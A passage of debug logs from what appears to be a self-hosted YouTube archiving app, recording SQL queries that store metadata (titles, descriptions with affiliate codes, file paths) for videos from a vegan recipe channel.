Pudding! 🍋🫐 My latest healthy vegan breakfast recipe OBSESSION", 1, nil, false, "gllvjX81_EY", "https://www.youtube.com/watch?v=gllvjX81_EY", "/downloads/downloads/alec/Steamy Vegan/2025-05-10 Lemon Chia Pudding! 🍋🫐 My latest healthy vegan breakfast recipe OBSESSION/Lemon Chia Pudding! 🍋🫐 My latest healthy vegan breakfast recipe OBSESSION [gllvjX81_EY].NA", false, ~U[2025-05-10 00:00:00Z]] 20:31:06.794 [debug] QUERY OK source="sources" db=0.9ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.797 [debug] QUERY OK source="media_items" db=2.7ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-08 00:00:00Z], 1] 20:31:06.800 [debug] QUERY OK source="media_items" db=1.4ms idle=9.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These protein muffins are vegan, gluten-free, and best of all they're super easy recipes to make! First, I'll show you some lemon poppyseed muffins and then I'll make a vegan breakfast muffin that's perfect if you want a quick grab 'n go recipe. \n\nCheck out GF Jules here ➡️ https://gfjules.pxf.io/nXgB7V\nAND go to her YouTube for more awesome GF recipes! ➡️ \u00A0\u00A0\u00A0/\u00A0@julesshepard\u00A0\u00A0 \n\nIf you want to use protein powder in these recipes then I highly recommend the below brands as they bake really well:\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nRecipe on the Blog: steamyvegan.com\n\nLemon Poppyseed Protein Muffins ➡️ https://steamyvegan.com/lemon-poppyse...\nMACROS (per muffin): 165 cal, 5g protein, 22g carbs, 6g fat. Depending on the protein powder you use you may get more or less protein\nBlueberry Banana Breakfast Muffins ➡️ https://steamyvegan.com/banana-oatmea...\nMACROS (per muffin): 170 cal, 25g carbs, 6g protein, 6g fat. If you add protein powder you'll get extra protein per muffin\n\nCheck out my blog here: steamyvegan.com\nMy Instagram: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nFor Business Inquiries: janelle@steamyvegan.com", "PROTEIN MUFFINS | 2 Easy Vegan and Gluten Free Recipes (Lemon Poppyseed and Breakfast Muffins)", "d7ba68d2-6bb2-4f99-98b2-b4e4d8e2dbad", 1, [], false, "Nd-xV9ugd-Q", "https://www.youtube.com/watch?v=Nd-xV9ugd-Q", 92, "/downloads/downloads/alec/Steamy Vegan/2025-05-08 PROTEIN MUFFINS | 2 Easy Vegan and Gluten Free Recipes (Lemon Poppyseed and Breakfast Muffins)/PROTEIN MUFFINS | 2 Easy Vegan and Gluten Free Recipes (Lemon Poppyseed and Breakfast Muffins) [Nd-xV9ugd-Q].NA", false, false, false, 1, ~U[2025-05-08 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "These protein muffins are vegan, gluten-free, and best of all they're super easy recipes to make! First, I'll show you some lemon poppyseed muffins and then I'll make a vegan breakfast muffin that's perfect if you want a quick grab 'n go recipe. \n\nCheck out GF Jules here ➡️ https://gfjules.pxf.io/nXgB7V\nAND go to her YouTube for more awesome GF recipes! ➡️ \u00A0\u00A0\u00A0/\u00A0@julesshepard\u00A0\u00A0 \n\nIf you want to use protein powder in these recipes then I highly recommend the below brands as they bake really well:\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nRecipe on the Blog: steamyvegan.com\n\nLemon Poppyseed Protein Muffins ➡️ https://steamyvegan.com/lemon-poppyse...\nMACROS (per muffin): 165 cal, 5g protein, 22g carbs, 6g fat. Depending on the protein powder you use you may get more or less protein\nBlueberry Banana Breakfast Muffins ➡️ https://steamyvegan.com/banana-oatmea...\nMACROS (per muffin): 170 cal, 25g carbs, 6g protein, 6g fat. If you add protein powder you'll get extra protein per muffin\n\nCheck out my blog here: steamyvegan.com\nMy Instagram: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nFor Business Inquiries: janelle@steamyvegan.com", "PROTEIN MUFFINS | 2 Easy Vegan and Gluten Free Recipes (Lemon Poppyseed and Breakfast Muffins)", 1, nil, false, "Nd-xV9ugd-Q", "https://www.youtube.com/watch?v=Nd-xV9ugd-Q", "/downloads/downloads/alec/Steamy Vegan/2025-05-08 PROTEIN MUFFINS | 2 Easy Vegan and Gluten Free Recipes (Lemon Poppyseed and Breakfast Muffins)/PROTEIN MUFFINS | 2 Easy Vegan and Gluten Free Recipes (Lemon Poppyseed and Breakfast Muffins) [Nd-xV9ugd-Q].NA", false, ~U[2025-05-08 00:00:00Z]] 20:31:06.800 [debug] QUERY OK source="sources" db=0.7ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.802 [debug] QUERY OK source="media_items" db=1.8ms idle=8.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-03 00:00:00Z], 1] 20:31:06.818 [debug] QUERY OK source="media_items" db=14.5ms idle=9.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this what I eat in a day episode, I'll show you my typical savoury vegan breakfast recipe that I make on the regular, a classic meal prep bean soup recipe, and a vegan roast dinner recipe that was unreal! These healthy vegan recipes are all high-protein, gluten-free, and help me to hit 100g of protein every day. 😊\n\nCheck out GF Jules' website here: https://gfjules.pxf.io/nXgB7V\nFind GF Jules on Instagram here: https://www.instagram.com/gfjules/?hl=en\n\nMake sure to subscribe so you don't miss my upcoming Protein Muffins video next week!\n\nCheck out my blog here: steamyvegan.com\nMy Instagram: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nFor Business Inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0", "REALISTIC What I Eat in a Day! 🌱 Healthy Vegan Recipes to Hit 100g Protein 💪🏼", "cb7cca30-8261-4875-a3ed-0ce7093ac9d5", 1, [], false, "yU5OuXtKqAY", "https://www.youtube.com/watch?v=yU5OuXtKqAY", 93, "/downloads/downloads/alec/Steamy Vegan/2025-05-03 REALISTIC What I Eat in a Day! 🌱 Healthy Vegan Recipes to Hit 100g Protein 💪🏼/REALISTIC What I Eat in a Day! 🌱 Healthy Vegan Recipes to Hit 100g Protein 💪🏼 [yU5OuXtKqAY].NA", false, false, false, 1, ~U[2025-05-03 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this what I eat in a day episode, I'll show you my typical savoury vegan breakfast recipe that I make on the regular, a classic meal prep bean soup recipe, and a vegan roast dinner recipe that was unreal! These healthy vegan recipes are all high-protein, gluten-free, and help me to hit 100g of protein every day. 😊\n\nCheck out GF Jules' website here: https://gfjules.pxf.io/nXgB7V\nFind GF Jules on Instagram here: https://www.instagram.com/gfjules/?hl=en\n\nMake sure to subscribe so you don't miss my upcoming Protein Muffins video next week!\n\nCheck out my blog here: steamyvegan.com\nMy Instagram: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nFor Business Inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0", "REALISTIC What I Eat in a Day! 🌱 Healthy Vegan Recipes to Hit 100g Protein 💪🏼", 1, nil, false, "yU5OuXtKqAY", "https://www.youtube.com/watch?v=yU5OuXtKqAY", "/downloads/downloads/alec/Steamy Vegan/2025-05-03 REALISTIC What I Eat in a Day! 🌱 Healthy Vegan Recipes to Hit 100g Protein 💪🏼/REALISTIC What I Eat in a Day! 🌱 Healthy Vegan Recipes to Hit 100g Protein 💪🏼 [yU5OuXtKqAY].NA", false, ~U[2025-05-03 00:00:00Z]] 20:31:06.820 [debug] QUERY OK source="sources" db=1.2ms idle=20.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.822 [debug] QUERY OK source="media_items" db=2.7ms idle=20.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-30 00:00:00Z], 1] 20:31:06.825 [debug] QUERY OK source="media_items" db=2.4ms idle=22.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These tofu recipes are some of my favourite plant-based protein vegan recipes. There a tofu recipe for everyone here whether you like your tofu crispy, sweet or spicy you'll love one of these 3 vegan recipes. \n\nAll tofu recipes can be found on my blog!✨\n\nSesame Ginger Tofu ➡️ https://steamyvegan.com/sesame-ginger...\nHawaiian BBQ Tofu ➡️ https://steamyvegan.com/hawaiian-bbq-...\nChipotle Lime Tofu ➡️ https://steamyvegan.com/chipotle-lime...\n\n\nInstagram: https://www.instagram.com/steamyvegan...\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n0:30 - Hawaiian BBQ Shredded Tofu\n6:16 - Chipotle Lime Marinated Tofu\n13:37 - Crispy Ginger Tofu", "3 NEW Tofu Recipes - CRISPY, SWEET, and SPICY (Vegan + Gluten-Free)", "1997260c-c2c0-4db6-beab-596f865d4254", 1, [], false, "GMwQsvL0KWo", "https://www.youtube.com/watch?v=GMwQsvL0KWo", 94, "/downloads/downloads/alec/Steamy Vegan/2025-04-30 3 NEW Tofu Recipes - CRISPY, SWEET, and SPICY (Vegan + Gluten-Free)/3 NEW Tofu Recipes - CRISPY, SWEET, and SPICY (Vegan + Gluten-Free) [GMwQsvL0KWo].NA", false, false, false, 1, ~U[2025-04-30 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "These tofu recipes are some of my favourite plant-based protein vegan recipes. There a tofu recipe for everyone here whether you like your tofu crispy, sweet or spicy you'll love one of these 3 vegan recipes. \n\nAll tofu recipes can be found on my blog!✨\n\nSesame Ginger Tofu ➡️ https://steamyvegan.com/sesame-ginger...\nHawaiian BBQ Tofu ➡️ https://steamyvegan.com/hawaiian-bbq-...\nChipotle Lime Tofu ➡️ https://steamyvegan.com/chipotle-lime...\n\n\nInstagram: https://www.instagram.com/steamyvegan...\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n0:30 - Hawaiian BBQ Shredded Tofu\n6:16 - Chipotle Lime Marinated Tofu\n13:37 - Crispy Ginger Tofu", "3 NEW Tofu Recipes - CRISPY, SWEET, and SPICY (Vegan + Gluten-Free)", 1, nil, false, "GMwQsvL0KWo", "https://www.youtube.com/watch?v=GMwQsvL0KWo", "/downloads/downloads/alec/Steamy Vegan/2025-04-30 3 NEW Tofu Recipes - CRISPY, SWEET, and SPICY (Vegan + Gluten-Free)/3 NEW Tofu Recipes - CRISPY, SWEET, and SPICY (Vegan + Gluten-Free) [GMwQsvL0KWo].NA", false, ~U[2025-04-30 00:00:00Z]] 20:31:06.826 [debug] QUERY OK source="sources" db=0.8ms idle=23.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.829 [debug] QUERY OK source="media_items" db=2.6ms idle=8.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-26 00:00:00Z], 1] 20:31:06.832 [debug] QUERY OK source="media_items" db=1.6ms idle=10.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Go to my link at https://rheaessentials.com/pages/horm... and use my code STEAMY15 to get up to 20% off RHEA ESSENTIALS INOSITOL\n\nIn this what I eat in a day episode, we're making 3 high-protein, healthy, gluten-free, vegan recipes! I'll show you typical meals I eat on a vegan diet to hit 100g of protein in a day for someone who works out 7 days per week and follows a healthy lifestyle. \n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day! Healthy Vegan Recipes to Feel My Best", "12fbe175-74c7-4ccd-b15a-e019743b5aca", 1, [], false, "f2s5vtsByc8", "https://www.youtube.com/watch?v=f2s5vtsByc8", 95, "/downloads/downloads/alec/Steamy Vegan/2025-04-26 What I Eat in a Day! Healthy Vegan Recipes to Feel My Best/What I Eat in a Day! Healthy Vegan Recipes to Feel My Best [f2s5vtsByc8].NA", false, false, false, 1, ~U[2025-04-26 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Go to my link at https://rheaessentials.com/pages/horm... and use my code STEAMY15 to get up to 20% off RHEA ESSENTIALS INOSITOL\n\nIn this what I eat in a day episode, we're making 3 high-protein, healthy, gluten-free, vegan recipes! I'll show you typical meals I eat on a vegan diet to hit 100g of protein in a day for someone who works out 7 days per week and follows a healthy lifestyle. \n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day! Healthy Vegan Recipes to Feel My Best", 1, nil, false, "f2s5vtsByc8", "https://www.youtube.com/watch?v=f2s5vtsByc8", "/downloads/downloads/alec/Steamy Vegan/2025-04-26 What I Eat in a Day! Healthy Vegan Recipes to Feel My Best/What I Eat in a Day! Healthy Vegan Recipes to Feel My Best [f2s5vtsByc8].NA", false, ~U[2025-04-26 00:00:00Z]] 20:31:06.834 [debug] QUERY OK source="sources" db=1.9ms idle=9.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.838 [debug] QUERY OK source="media_items" db=2.8ms idle=9.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-22 00:00:00Z], 1] 20:31:06.840 [debug] QUERY OK source="media_items" db=1.8ms idle=11.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this what I eat in a day episode, I just got back from vacation where I ate and drank a lot, so I'm going to share my healthy vegan diet with a few vegan recipes to help detox my body. These vegan recipes are high-protein, gluten-free, and I also came up with a dynamite tofu recipe that you're going to love!\n\nRecipes coming soon to STEAMYVEGAN.COM\nFor business inquiries: janelle@steamyvegan.com\n\n✨Featured Product - Complement Daily Greens\n15% off your purchase (Available in the US and internationally 🌎)\nCode: STEAMYVEGAN\nhttps://lovecomplement.com/products/d...\n\n✨Featured Product: Buydeem G32 Mini Food Steamer\nSave 10%!!! *Can’t combine with other discounts. Valid thru May 19.\nCode: STEAMY10\n\n✨Shop on their website: https://ca.buydeem.com/products/ca-g3...\n\n✨Shop on Amazon: https://www.amazon.ca/dp/B0DF2TDT78?m...\n\n\n💚 OTHER PRODUCTS I LOVE USING 💚\n\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day as a Vegan to Detox and Feel My Best After Vacation", "42ff5482-3fac-40cb-9852-797b2637a82e", 1, [], false, "Ox0luqUUrs8", "https://www.youtube.com/watch?v=Ox0luqUUrs8", 96, "/downloads/downloads/alec/Steamy Vegan/2025-04-22 What I Eat in a Day as a Vegan to Detox and Feel My Best After Vacation/What I Eat in a Day as a Vegan to Detox and Feel My Best After Vacation [Ox0luqUUrs8].NA", false, false, false, 1, ~U[2025-04-22 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this what I eat in a day episode, I just got back from vacation where I ate and drank a lot, so I'm going to share my healthy vegan diet with a few vegan recipes to help detox my body. These vegan recipes are high-protein, gluten-free, and I also came up with a dynamite tofu recipe that you're going to love!\n\nRecipes coming soon to STEAMYVEGAN.COM\nFor business inquiries: janelle@steamyvegan.com\n\n✨Featured Product - Complement Daily Greens\n15% off your purchase (Available in the US and internationally 🌎)\nCode: STEAMYVEGAN\nhttps://lovecomplement.com/products/d...\n\n✨Featured Product: Buydeem G32 Mini Food Steamer\nSave 10%!!! *Can’t combine with other discounts. Valid thru May 19.\nCode: STEAMY10\n\n✨Shop on their website: https://ca.buydeem.com/products/ca-g3...\n\n✨Shop on Amazon: https://www.amazon.ca/dp/B0DF2TDT78?m...\n\n\n💚 OTHER PRODUCTS I LOVE USING 💚\n\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day as a Vegan to Detox and Feel 